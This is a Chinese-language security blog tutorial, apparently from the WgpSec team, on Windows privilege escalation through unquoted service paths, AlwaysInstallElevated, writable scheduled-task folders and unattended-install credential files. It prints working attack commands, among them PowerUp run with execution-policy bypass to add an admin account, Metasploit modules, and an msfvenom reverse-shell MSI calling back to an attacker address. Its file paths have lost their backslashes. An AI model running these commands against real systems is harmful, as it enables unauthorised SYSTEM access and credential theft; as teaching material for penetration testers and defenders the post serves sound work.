点击蓝字
关注我们
声明
本文作者:TeamsSix
本文字数:2578
阅读时长:10 ~ 15 分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
可信任服务路径漏洞
可信任服务路径 ( Trusted Service Paths ) 漏洞利用了 Windows 文件路径解析的特性,可信任服务路径指的是包含空格且没有引号的路径,比如像这样的路径:
C:Program FilesCommon FilesWgpSec
刚才说到了这个漏洞利用了 Windows 文件路径解析的特性,那我们先来了解一下这个特性。
假如有个文件路径是这样的:
C:Program FilesCommon FilesWgpSecTeamsSix.exe
可以看到这个路径中有两个空格,那么对于 Windows 来说,它会尝试找到与空格前名字相匹配的程序,然后执行它。
以上面的 exe 文件路径为例,Windows 会依次尝试执行以下程序:
C:Program.exe
C:Program FilesCommon.exe
C:Program FilesCommon FilesWgpSecTeamsSix.exe
可以看到 Windows 尝试执行了三次才找到真正的程序。
由于 Windows 服务通常是以 SYSTEM 权限运行的,所以在系统找到空格前的程序并执行时,也将以 SYSTEM 权限运行这个程序。
因此是不是说我们把木马程序命名为 Program.exe ,然后放到 C 盘下,当上面的 TeamsSix.exe 程序重启时,系统就会执行我们的木马程序?
答案是的。
同时如果此时程序以 SYSTEM 运行,那我们就将获得一个 SYSTEM 权限的会话。
铺垫了那么多,现在就来复现一下。
复现
我们可以通过下面的命令来查找系统中存在可信任服务路径的程序。
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr/i /v """
截图中可以看到 C:Program FilesOpenSSHbincygrunsrv.exe 存在包含空格且没有引号的路径。
我们可以直接使用 MSF 利用该漏洞,MSF 版本中利用该漏洞的模块是 trusted_service_path,但是在新版本中该模块的名称已经变更为 unquoted_service_path
use windows/local/unquoted_service_path
set session 1
run
注册表
注册表 AlwaysInstallElevated 是一个策略设置项。Windows 允许低权限用户以 SYSTEM 权限运行安装文件。
如果启用此策略设置项,那么任何权限的用户都能以 SYSTEM 权限来安装恶意的 MSI(Microsoft Windows Installer)文件。
产生该漏洞的原因是由于用户在策略编辑器中开启了 Windows Installer 特权安装功能。
组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。
组策略——用户配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。
也可以直接使用命令行开启这两项注册表。
reg add HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1
然后使用 reg 查看这两项的键值,0x1 表示处于开启状态。
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
复现
PowerUp
PowerUp 下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
我们可以使用 PowerUp.ps1 脚本里的 Get-RegistryAlwaysInstallElevated 模块来检查相关注册表是否被设置。
在 PowerShell 中导入并执行脚本
Import-Module .PowerUp.ps1
Get-RegistryAlwaysInstallElevated
如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用 -exec bypass 进行绕过。
powershell.exe -exec bypass -command "&{Import-Module .PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
返回为 True,表示相关注册表被设置了,也就意味着 MSI 文件是以 SYSTEM 权限运行的。
运行 PowerUp 的 Write-UserAddMSI 模块
powershell.exe -exec bypass -command "&{Import-Module .PowerUp.ps1;Write-UserAddMSI}"
运行完后,会在当前目录下生成一个 UserAdd.msi 程序,此时以普通用户权限执行该 MSI 程序就会创建一个管理员账户。
直接双击或者命令行启动该 MSI 程序。
msiexec /q /i UserAdd.msi
msiexec 参数介绍:
/quiet:安装过程中禁止向用户发送消息
/qn:不使用GUI
/q:隐藏安装界面
/i:安装程序
MSF
MSF 中可以使用 exploit/windows/local/always_install_elevated 模块,直接获取 SYSTEM 权限。
use exploit/windows/local/always_install_elevated
set session 1
run
除了上面的操作外,还可以使用 msfvenom 生成 MSI 文件,从而以 SYSTEM 权限执行任意命令。
msfvenom -p windows/exec CMD=<命令> -f msi > calc.msi
或者以 SYSTEM 权限上线
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.214.65 lport=4444 –f msi -o shell.msi
MSI Wrapper
MSI Wrapper 是一个操作简单直观的 MSI 安装包生成工具,我们可以使用该工具制作一个包含木马的 MSI 安装包。
选择自己要导入的 EXE 木马文件位置和导出 MSI 安装包位置。
设置运行时提升权限
之后 Application Id 随便选一个,其他操作默认就行,然后将 MSI 文件拷贝到目标主机上
开启攻击主机的监听,双击 MSI 文件之后就可以看到回连的会话已经是 SYSTEM 权限了。
计划任务
计划任务
使用以下命令可以看到当前计算机的计划任务
schtasks /query /fo list /v
AccessChk 是微软官方提供的一款工具,因此往往不会引起杀软的告警,AccessChk 可用来进行一些系统或程序的高级查询、管理和故障排除工作。
AccessChk 下载地址:https://download.sysinternals.com/files/AccessChk.zip
在第一次使用时,会弹出许可协议对话框,可以使用 /accepteula 进行关闭
.accesschk.exe /accepteula
执行以下命令,查看指定目录的权限配置情况:
.accesschk.exe -dqv "C:Program Files"
如果攻击者以高权限运行的任务所在目录有写权限,就可以使用恶意程序覆盖原来的程序,这样计划任务下次运行时,就会以高权限运行恶意程序。
列出每个驱动器下所有权限配置不当的文件夹:
.accesschk.exe -uwdqs Users c:
.accesschk.exe -uwdqs "Authenticated Users" c:
列出每个驱动器下所有权限配置不当的文件:
.accesschk.exe -uwqs Users c:*.*
.accesschk.exe -uwqs "Authenticated Users" c:*.*
自动安装配置文件
自动安装配置文件
管理员在对内网中多台机器进行环境配置时,通常不会一台一台的配置,往往会采用脚本批量化的方式。
在这个过程中,可能就会有一些包含安装配置信息的文件,比如在这些文件中可能就包含了账号、密码,常见的安装配置文件路径如下:
C:sysprep.inf
C:syspregsysprep.xml
C:Windowssystem32sysprep.inf
C:windowssystem32sysprepsysprep.xml
C:unattend.xml
C:WindowsPantherUnattend.xml
C:WindowsPantherUnattended.xml
C:WindowsPantherUnattendUnattended.xml
C:WindowsPantherUnattendUnattend.xml
C:WindowsSystem32SysprepUnattend.xml
C:WindowsSystem32SysprepPantherUnattend.xml
或者直接全局搜索 Unattend.xml 文件
dir /b /s C:Unattend.xml
也可以直接使用 MSF 的 post/windows/gather/enum_unattend 模块
use post/windows/gather/enum_unattend
set session 1
run
后记
https://www.freebuf.com/articles/SYSTEM/254836.html
https://www.freebuf.com/articles/network/250827.html
https://gist.github.com/sckalath/8dacd032b65404ef7411
作者
TeamsSix
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
本文始发于微信公众号(WgpSec狼组安全团队):浅谈几个Windows 错误配置利用的方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论